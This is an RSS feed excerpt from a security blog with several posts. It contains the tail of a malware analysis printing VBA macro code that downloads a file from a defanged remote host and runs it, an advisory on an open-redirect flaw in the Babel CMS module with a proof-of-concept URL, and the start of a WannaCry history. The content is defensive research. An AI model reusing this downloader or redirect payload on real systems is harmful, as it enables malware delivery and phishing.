&lt;div style=&#34;background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&#34;&gt;&lt;pre style=&#34;margin: 0; line-height: 125%&#34;&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;noutil&lt;/span&gt;()
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Dim&lt;/span&gt; url &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Variant&lt;/span&gt;
    url &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; Array(getUrl)
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Dim&lt;/span&gt; savePath &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;
    savePath &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; Environ(&amp;quot;temp&amp;quot;&lt;/span&gt;) &lt;span style=&#34;color: #FFFFFF&#34;&gt;&amp;amp;&lt;/span&gt; &amp;quot;\tryui.&amp;quot;&lt;/span&gt; &lt;span style=&#34;color: #FFFFFF&#34;&gt;&amp;amp;&lt;/span&gt; &amp;quot;jmp&amp;quot;&lt;/span&gt;
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt; IsArray(url) &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;True&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Then&lt;/span&gt;
        SaveFile url(&lt;span style=&#34;color: #0000DD; font-weight: bold&#34;&gt;0&lt;/span&gt;), savePath, &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;False&lt;/span&gt;, &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;True&lt;/span&gt;
        runNagr savePath
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&#34;a4-vbamodule2&#34;&gt;A4: VBA/Module2&lt;/h4&gt;
&lt;div style=&#34;background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&#34;&gt;&lt;pre style=&#34;margin: 0; line-height: 125%&#34;&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Function&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;getUrl&lt;/span&gt;() &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt; IsArray(var) &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;False&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Then&lt;/span&gt;
        getUrl &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; &amp;quot;hxxp://infogiceleredalog.info/word88.foc&amp;quot;&lt;/span&gt;
    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Function&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&#34;a5-vbamodule3&#34;&gt;A5: VBA/Module3&lt;/h4&gt;
&lt;div style=&#34;background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&#34;&gt;&lt;pre style=&#34;margin: 0; line-height: 125%&#34;&gt;
&lt;span style=&#34;color: #557799&#34;&gt;#If VBA7 Then&lt;/span&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Private&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Declare&lt;/span&gt; PtrSafe &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Function&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;URLDownloadToFile&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Lib&lt;/span&gt; &amp;quot;urlmon&amp;quot;&lt;/span&gt; _
        &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Alias&lt;/span&gt; &amp;quot;URLDownloadToFileA&amp;quot;&lt;/span&gt; (&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; pCaller &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;, _
                                    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; szURL &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;, &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; szFileName &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;, _
                                    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; dwReserved &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;, &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; lpfnCB &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;) &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;
#&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Else&lt;/span&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Private&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Declare&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Function&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;URLDownloadToFile&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Lib&lt;/span&gt; &amp;quot;urlmon&amp;quot;&lt;/span&gt; _
        &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Alias&lt;/span&gt; &amp;quot;URLDownloadToFileA&amp;quot;&lt;/span&gt; (&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; pCaller &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;, _
                                    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; szURL &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;, &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; szFileName &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;, _
                                    &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; dwReserved &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;, &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;ByVal&lt;/span&gt; lpfnCB &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;) &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;Long&lt;/span&gt;
&lt;span style=&#34;color: #557799&#34;&gt;#End If&lt;/span&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;runNagr&lt;/span&gt;(var1 &lt;span style=&#34;color: #000000; font-weight: bold&#34;&gt;As&lt;/span&gt; &lt;span style=&#34;color: #333399; font-weight: bold&#34;&gt;String&lt;/span&gt;)
    Shell var1
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt;
&lt;p&gt;&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Public&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt; &lt;span style=&#34;color: #0066BB; font-weight: bold&#34;&gt;SaveFile&lt;/span&gt;(Param1, Param2, Param3, Param4)&lt;br /&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt; Param4 &lt;span style=&#34;color: #FFFFFF&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;True&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Then&lt;/span&gt;&lt;br /&gt;
URLDownloadToFile &lt;span style=&#34;color: #0000DD; font-weight: bold&#34;&gt;0&lt;/span&gt;, Param1, Param2, &lt;span style=&#34;color: #0000DD; font-weight: bold&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color: #0000DD; font-weight: bold&#34;&gt;0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;If&lt;/span&gt;&lt;br /&gt;
&lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;End&lt;/span&gt; &lt;span style=&#34;color: #008800; font-weight: bold&#34;&gt;Sub&lt;/span&gt;&lt;br /&gt;
&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        
        
        
        
          
            
              <category>Malware Analysis</category>
            
          
        
        
          
            
              <category>2019</category>
            
          
        
        
      </item>
      
      <item>
        <title>How big of a problem is the &#39;open redirect&#39; in Babel?</title>
        <link>https://untrustednetwork.net/en/2019/03/02/how-big-of-a-problem-is-the-open-redirect-in-babel/</link>
        <pubDate>Sat, 02 Mar 2019 12:35:00 +0100</pubDate>
        
        <atom:modified>Sat, 02 Mar 2019 12:35:00 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/03/02/how-big-of-a-problem-is-the-open-redirect-in-babel/</guid>
        <description>During a recent research into prevalence of open redirection vulnerabilities within the ccTLD .CZ we&amp;rsquo;ve done with my colleagues from ALEF CSIRT (description of its results in Czech may be foud here), I’ve noticed that many of the vulnerable sites seemed to be using CMS Made Simple with Babel multi-language module. This seemed to warrant a closer investigation&amp;hellip;
Before we go further, let’s briefly describe what „open redirection“ (CWE-601) weakness/vulnerability actually is.</description>
        <content:encoded>&lt;p&gt;During a recent research into prevalence of open redirection vulnerabilities within the ccTLD .CZ we&amp;rsquo;ve done with my colleagues from ALEF CSIRT (description of its results in Czech may be foud &lt;a href=&#34;https://www.root.cz/clanky/jak-velky-problem-jsou-open-redirection-zranitelnosti-nejen-na-ceskem-webu/&#34;&gt;here&lt;/a&gt;), I’ve noticed that many of the vulnerable sites seemed to be using CMS Made Simple with Babel multi-language module. This seemed to warrant a closer investigation&amp;hellip;&lt;/p&gt;
&lt;p&gt;Before we go further, let’s briefly describe what „open redirection“ (CWE-601) weakness/vulnerability actually is. The term is usually used to describe a mechanism which – when present on a certain website and queried in a specific way (usually by passing a specific parameter to it) - automatically redirects visiting browser to a different (arbitrary) domain/URL. What this means in practical terms is that it is possible to create a link to the website in question, which redirects user to any other - pontentially malicious or untrusted - site.&lt;br /&gt;
This behaviour might be intentionally present on certain websites, but in most cases, it is considered a vulnerability and/or bad practice since may be quite easily misused. Imagine, for example, how easy it would be to create a successful phishing campaign targeting clients of a bank which has open redirection vulnerability on its website.&lt;/p&gt;
&lt;p&gt;An example of a site with intentional open redirection functionality, which will enable us to demonstrate the principle in practice, is 1gr.cz – a logger which counts clickthroughs for ad and marketing purposes. A link to 1gr.cz which automatically redirects visitors to untrustednetwork.net could be crafted in the following way:&lt;/p&gt;
&lt;p&gt;&lt;kbd&gt;ht&lt;span&gt;tp://1g&lt;/span&gt;r.cz/log/redir.aspx?url=ht&lt;span&gt;tps://www.u&lt;/span&gt;ntrustednetwork.net/&lt;/kbd&gt;&lt;/p&gt;
&lt;p&gt;Now, let us dive right into the interesting details regarding CMS Made Simple and Bable.&lt;br /&gt;
CMS Made Simple (CMSMS) is one of the lesser known CMS platforms out there.  Although it is not too widely used, vulnerabilities in the CMSMS core or in its plugins or modules may still affect thousands of websites. This appears to be the case with the vulnerability I found in Babel – a module which brings multilingual functionality to CMSMS sites.&lt;br /&gt;
The full write up of the vulnerability may be found &lt;a href=&#34;https://untrustednetwork.net/en/2019/02/20/open-redirection-vulnerability-in-babel/&#34;&gt;here&lt;/a&gt;, but in simple terms, Babel in all its versions translates content by redirecting user to different pages based on their language preferences. This is not a bad idea per se, however in Babel, the same mechanism enables anyone to create a link to the CMSMS-enabled site, which redirects to an arbitrary URL.&lt;br /&gt;
Babel – when installed – uses the path domain.root/modules/babel to hold all its PHP files. Among these is redirect.php, a file containing PHP script through which the translation is handled. The relevant code looks like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;newurl&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;
	&lt;span class=&#34;cm&#34;&gt;/*code not important for our purposes removed here*/&lt;/span&gt;
&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
	&lt;span class=&#34;cm&#34;&gt;/*code not important for our purposes removed here*/&lt;/span&gt;
	&lt;span class=&#34;nx&#34;&gt;header&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;location: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;newurl&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]);&lt;/span&gt;
&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;What it basically means is that if the &amp;ldquo;newurl&amp;rdquo; parameter is set, browser will be redirected to the URL contained therein. Since there are no checks or limits regarding the target URL, the fact that there is an &amp;ldquo;open&amp;rdquo; redirection vulnerability should be obvious.&lt;/p&gt;
&lt;p&gt;So how big of a problem is this vulnerability? Well, not too big. As has been said before, open redirection is mainly useful for phishing and not that many sites interesting to phishers use the Babel module&amp;hellip; But with approximately 3.700 URLs affected before the disclosure was published it is not insignificant either. That number is based on relevant Google search results (so take it with a grain of salt - in terms of affected sites, it was probably a lot less&amp;hellip;although the latest version of the vulnerable module was downloaded from the CMS website more than 5.700 times, so who knows) from February 14th 2019.&lt;/p&gt;
&lt;p&gt;I was interested in the distribution of vulnerable sites/URLs around different TLDs, so I&amp;rsquo;ve done a search for each of the 20 most used TLDs and a serach for each of the ccTLDs of European countries. The &amp;ldquo;Top 10&amp;rdquo; results are:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;TLD&lt;/th&gt;
&lt;th align=&#34;right&#34;&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;========&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;========&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;COM&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;1590&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BE&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;448&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FR&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;408&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NL&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;227&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PT&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;226&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CH&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;207&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DE&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;142&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CZ&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;96&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LV&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;78&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AT&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;46&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;br&gt;
&lt;p&gt;That covers most of what seems to be out there, but if you want to see the results for all top level domains with at least one relevant search result, they are summarized in the following chart.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/babel-tlds-chart.png&#34; alt=&#34;Vulnerable sites in different TLDs&#34; /&gt;&lt;/p&gt;
&lt;p&gt;As you may see, a number of the vulnerable websites are hosted on domains within ccTLDs belonging to different European countries. What&amp;rsquo;s more, based on a quick look at the .COM results, it seems that most of those domains are also registered by European citizens and companies. I&amp;rsquo;m not sure whether CMSMS as a whole or just Babel have mostly Euro-centric user base, but this regional disparity seemes quite interesting either way.&lt;/p&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        
        
        
        
          
            
              <category>Vulnerability</category>
            
          
            
              <category>ALEF</category>
            
          
            
              <category>Babel</category>
            
          
        
        
          
            
              <category>Vulnerabilities</category>
            
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
      </item>
      
      <item>
        <title>Open Redirection Vulnerability in Babel</title>
        <link>https://untrustednetwork.net/en/2019/02/20/open-redirection-vulnerability-in-babel/</link>
        <pubDate>Wed, 20 Feb 2019 20:36:35 +0100</pubDate>
        
        <atom:modified>Wed, 20 Feb 2019 20:36:35 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/02/20/open-redirection-vulnerability-in-babel/</guid>
        <description>Bellow you may find description of a vulnerability I found in Babel - a CMSMS module - when searching for sites affected by Open Redirection vulnerabilities (writeup on the research in Czech may be found here). Further discussion of this vulnerability be found here.
Basic Information Affected Software: Babel: Multilingual Site module for CMS Made Simple
Affected Version: 0.4.1 and earlier
Patched Version: None - project is no longer under development</description>
        <content:encoded>&lt;p&gt;Bellow you may find description of a vulnerability I found in Babel - a CMSMS module - when searching for sites affected by Open Redirection vulnerabilities (writeup on the research in Czech may be found &lt;a href=&#34;https://www.root.cz/clanky/jak-velky-problem-jsou-open-redirection-zranitelnosti-nejen-na-ceskem-webu/&#34;&gt;here&lt;/a&gt;). Further discussion of this vulnerability be found &lt;a href=&#34;https://www.untrustednetwork.net/en/2019/03/02/how-big-of-a-problem-is-the-open-redirect-in-babel/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;basic-information&#34;&gt;Basic Information&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Affected Software:&lt;/strong&gt; Babel: Multilingual Site module for CMS Made Simple&lt;br /&gt;
&lt;strong&gt;Affected Version:&lt;/strong&gt; 0.4.1 and earlier&lt;br /&gt;
&lt;strong&gt;Patched Version:&lt;/strong&gt; None - project is no longer under development&lt;br /&gt;
&lt;strong&gt;CVE Identifier:&lt;/strong&gt; &lt;a href=&#34;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1010290&#34;&gt;CVE-2019-1010290&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Vulnerability type:&lt;/strong&gt; CWE-601: URL Redirection to Untrusted Site (&amp;lsquo;Open Redirect&amp;rsquo;)&lt;br /&gt;
&lt;strong&gt;Severity Rating:&lt;/strong&gt; CVSS v3 Base Score: 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)&lt;/p&gt;
&lt;h3 id=&#34;summary&#34;&gt;Summary&lt;/h3&gt;
&lt;p&gt;The Babel multi-language module for CMSMS contains an open redirection vulnerability in a script within the redirect.php file. The script takes an argument specifying a URL to which a browser should be redirected. This URL may be completely arbitrary. It is therefore possible to craft a link to a Babel-enabled site which causes redirection to any URL specified, even outside the originating domain. This is especially useful for phishing attacks, when attacker creates a link to a safe site, which, without the knowledge of a user, redirects him or her to a fake/malicious site. All CMSMS sites with Babel module installed are affected, since redirect.php is always publically accessible.&lt;/p&gt;
&lt;h3 id=&#34;detailed-description&#34;&gt;Detailed Description&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&#34;http://dev.cmsmadesimple.org/projects/babel&#34;&gt;Babel module&lt;/a&gt; provides CMSMS sites with the capacity to easily switch between multiple translations of web page content. Desired translation may be chosen by sending a GET request to vulnerable.site/modules/babel/redirect.php. Under normal conditions, this PHP script takes two arguments - &amp;ldquo;newlang&amp;rdquo; and &amp;ldquo;newurl&amp;rdquo;. The first argument sets the desired language for the translation and the second one sets URL which should be displayed in selected language.&lt;br /&gt;
A non-working example of what the URL might look like is:&lt;/p&gt;
&lt;p&gt;&lt;kbd&gt;ht&lt;span&gt;tps://&lt;/span&gt;ww&lt;span&gt;w.vulnerab&lt;/span&gt;le.site/modules/babel/redirect.php?newlang=en_US&amp;amp;newurl=ht&lt;span&gt;tps://&lt;/span&gt;ww&lt;span&gt;w.vulnerab&lt;/span&gt;le.site/about&lt;/kbd&gt;&lt;/p&gt;
&lt;p&gt;The vulnerability is caused by the absence of any filtering when the parameter &amp;ldquo;newurl&amp;rdquo; is processed (the parametr &amp;ldquo;newlang&amp;rdquo; is - for our purposes - optional and may be omitted).&lt;/p&gt;
&lt;h3 id=&#34;proof-of-concept&#34;&gt;Proof of Concept&lt;/h3&gt;
&lt;p&gt;&lt;kbd&gt;ht&lt;span&gt;tps://&lt;/span&gt;ww&lt;span&gt;w.vulnerab&lt;/span&gt;le.site/modules/babel/redirect.php?newurl=ht&lt;span&gt;tps://&lt;/span&gt;ww&lt;span&gt;w.malic&lt;/span&gt;ious.site/&lt;/kbd&gt;&lt;/p&gt;
&lt;h3 id=&#34;recommendation&#34;&gt;Recommendation&lt;/h3&gt;
&lt;p&gt;Removal of the Babel module from any affected site.&lt;/p&gt;
&lt;h3 id=&#34;disclosure-timeline&#34;&gt;Disclosure Timeline&lt;/h3&gt;
&lt;p&gt;Developer Contacted: 2. 2. 2019&lt;br /&gt;
Developer Responded: 11. 2. 2019 (project abandoned, no new versions are to be expected)&lt;br /&gt;
Disclosure to CSIRT network: 14. 2. 2019&lt;br /&gt;
Public Disclosure: 20. 2. 2019&lt;/p&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        
        
        
        
          
            
              <category>Vulnerability</category>
            
          
            
              <category>Babel</category>
            
          
        
        
          
            
              <category>Vulnerabilities</category>
            
          
            
              <category>2019</category>
            
          
        
        
      </item>
      
      <item>
        <title>It&#39;s 2019 and WannaCry is still not dead</title>
        <link>https://untrustednetwork.net/en/2019/01/30/its-2019-and-wannacry-is-still-not-dead/</link>
        <pubDate>Wed, 30 Jan 2019 17:20:48 +0100</pubDate>
        
        <atom:modified>Wed, 30 Jan 2019 17:20:48 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/01/30/its-2019-and-wannacry-is-still-not-dead/</guid>
        <description>Unless you live completely cut off from the rest of human civilization, chances are good you&amp;rsquo;ve heard about the WannaCry ransomware. However, so we&amp;rsquo;re all on the same page, I&amp;rsquo;ll go over the salient points of its history before discussing why it is still a threat.
WannaCry - the first successful crypto-ransomware worm - started to spread on May 12th 2017 using the EternalBlue exploit and DoublePulsar backdoor implant (both courtesy of the Shadow Brokers and - by proxy - Equation Group/NSA) and supposedly hit more than 100 countries within the first 24 hours.</description>
        <content:encoded>&lt;p&gt;Unless you live completely cut off from the rest of human civilization, chances are good you&amp;rsquo;ve heard about the WannaCry ransomware. However, so we&amp;rsquo;re all on the same page, I&amp;rsquo;ll go over the salient points of its history before discussing why it is still a threat.&lt;/p&gt;
&lt;p&gt;WannaCry - the first successful crypto-ransomware worm - started to spread on May 12th 2017 using the EternalBlue exploit and DoublePulsar backdoor implant (both courtesy of the Shadow Brokers and - by proxy - Equation Group/NSA) and supposedly hit more than 100 countries within the first 24 hours. Although the speed of spreading was nowhere near the famous SQL Slammer/Saphire/Helkern or even CodeRed levels, it was still quite impressive.&lt;/p&gt;
&lt;p&gt;As it is usually the case when a new malware starts to succesfully spread, many researchers started analyzing samples of it. Among these researchers was also the controversial Markus Hutchins, who noticed that the malware used tried to query an at-that-time non-existant domain to decide if it should encrypt data and spread further when it infected any new computer.&lt;br /&gt;
Basically, it tried to connect to the &lt;em&gt;www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com&lt;/em&gt; domain and if it succeeded, it didn&amp;rsquo;t encrypt any data nor did it spread further.&lt;/p&gt;
&lt;p&gt;If fact, except for connecting to this domain on reboot to make sure it was there, the ransomware didn&amp;rsquo;t do much of anything from that point onward. It is unknown why this functionality was implemented in WannaCry (although there are a lot of theories - the two most popular ones considers it either an anti-sandboxing mechanism, or an intentional killswitch to stop the infection should the attacker wish it). However when Hutchins noticed this behaviour, he registered this domain and &amp;ldquo;sinkholed&amp;rdquo; it, which pretty much stopped WannaCry from spreading&amp;hellip;until another version without this &amp;ldquo;killswitch&amp;rdquo; functionality was released, that is.&lt;/p&gt;
&lt;p&gt;Although the number of infected computers was in the hundreds of thousands at least (see the chart bellow - especially the situation in China seems to have been quite interesitng), the outbreak was more or less dealt with within few weeks. Computers spreading WannaCry were disinfected, admins who didn&amp;rsquo;t do so before patched the vulnerability used by EternalBlue exploit and pretty much everyone considered WannaCry dealt with.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://untrustednetwork.net/images/2019/WannaCry-countries-time.png&#34; alt=&#34;WannaCry victims distribution&#34; /&gt;&lt;/p&gt;
